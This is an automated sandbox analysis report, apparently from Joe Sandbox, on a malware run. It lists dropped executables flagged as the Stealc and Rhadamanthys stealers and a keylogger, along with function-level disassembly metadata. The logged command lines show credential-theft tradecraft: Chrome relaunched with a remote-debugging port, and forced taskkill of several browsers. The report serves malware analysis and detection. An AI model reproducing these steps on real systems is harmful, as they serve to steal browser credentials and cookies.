Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2308,i,533383946619044519,12791095769116952167,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	11:09:05
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe"
Imagebase:	0xdf0000
File size:	2'903'552 bytes
MD5 hash:	3BB75CB881E430E48EC13D73D43ABE49
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000003.2920193259.0000000005600000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	11:09:09
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe"
Imagebase:	0xca0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	11:09:09
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	11:09:09
Start date:	18/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4004 -parentBuildID 20230927232528 -prefsHandle 4028 -prefMapHandle 4024 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d60e0f46-c8ef-473f-aa85-ffd865e67030} 3412 "\\.\pipe\gecko-crash-server-pipe.3412" 1ceb752e810 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	11:09:09
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	11:09:13
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe"
Imagebase:	0xca0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	11:09:13
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe"
Imagebase:	0x740000
File size:	967'680 bytes
MD5 hash:	4E38B1008D236084740A6C44FBC4EBF6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	11:09:14
Start date:	18/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2524 --field-trial-handle=2480,i,435901373063125670,2999997122850971056,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	11:09:18
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe"
Imagebase:	0x490000
File size:	2'009'088 bytes
MD5 hash:	E7EB9A61AEC1E191DCC006E605C7628E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000029.00000003.3058432991.0000000005370000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000029.00000003.3051864216.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000029.00000003.3063610410.0000000004E70000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000029.00000003.3059290024.0000000005590000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	11:09:19
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	11:09:19
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	11:09:22
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	11:09:22
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0xf70000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	11:09:22
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe"
Imagebase:	0x270000
File size:	1'731'584 bytes
MD5 hash:	7BE93AFF7CEF5AD80C82706349B7FED3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	11:09:22
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	11:09:22
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	11:09:23
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	11:09:23
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	11:09:24
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	778
Total number of Limit Nodes:	16

Executed Functions

Function 003F652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,003F652A,?,?,?,?,?,003F7661), ref: 003F6566

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 96d17fc15eca2a06f84e4f3d28ed48a19523f02866a4a77dacb0238ba34a8028
Instruction ID: 9611d8918daf343e010b05cb7dfd1545de62620b06402ad3b50d821b5c4b61c8
Opcode Fuzzy Hash: 96d17fc15eca2a06f84e4f3d28ed48a19523f02866a4a77dacb0238ba34a8028
Instruction Fuzzy Hash: CBE0863004210C6ACF26BF58C816D583B59EF52748F055810FA185A126CB25EE42C580

Function 04F10A12 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1817353502.0000000004F10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86ba2f0d626b3c90bbc8d369ce27c99f6ffe1a5dfd9e9a10f6d2b366d249cde0
Instruction ID: 192d6b3a54d688f0e04d385d25c11f6ce32c87a6997a47cad8a150519aa71806
Opcode Fuzzy Hash: 86ba2f0d626b3c90bbc8d369ce27c99f6ffe1a5dfd9e9a10f6d2b366d249cde0
Instruction Fuzzy Hash: B9F037AB38D015FD2242D440DB149BA26EDD7C77703308027B407D9821F9E069D77273

Function 003C5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 003C60FA
00000419, xrefs: 003C6098
0000043f, xrefs: 003C612B
Keyboard Layout\Preload, xrefs: 003C6054
00000422, xrefs: 003C60C9

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 600c6903c4ecb00f95b9adbd8b378b9ef8d22a13adee9f4f10ebe055f5f318d1
Instruction ID: 75ee3d3aeb2fa164c37019839d9ed0980566bba2be24bebc929a3e500250b8cc
Opcode Fuzzy Hash: 600c6903c4ecb00f95b9adbd8b378b9ef8d22a13adee9f4f10ebe055f5f318d1
Instruction Fuzzy Hash: 7AF1D171910258AFEB25DF24CC85BDEBBB9EB44304F5041ADF508EB281DB74AE84CB94

Function 003C9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808599215.0000000000599000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808623845.000000000059B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808647706.00000000005B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808668774.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808730928.00000000005C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808752663.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808775544.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808799303.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808855974.00000000005DA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808874785.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808956692.00000000005EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809003323.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809026190.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809100599.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809180000.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809205324.0000000000625000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809255233.000000000062B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809281642.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809308716.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809327495.0000000000634000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809356057.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809411373.0000000000645000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809449161.000000000064C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809496222.0000000000654000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809520177.0000000000655000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809546465.000000000065D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809590670.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809641443.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809670546.0000000000670000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809722543.0000000000679000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809752167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809854976.00000000006C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809877324.00000000006C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809930471.00000000006C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809957565.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1809980244.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810045560.00000000006DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810066277.00000000006E0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: ca92474d5771be0021c8d8cbd789d3a6acca7e487fae3d2c0f97444dfa1da06b
Instruction ID: 7bdce16fce32e6bca56b6dea4ffb67067e5666024316c3549234329938fdc092
Opcode Fuzzy Hash: ca92474d5771be0021c8d8cbd789d3a6acca7e487fae3d2c0f97444dfa1da06b
Instruction Fuzzy Hash: 01316A327102089BEB09DB78DC89B6DB772EB85314F20825EE014EB3D5C7359D808751

Function 003C9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.1808102383.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808165933.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808400812.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808424639.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1808452932.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
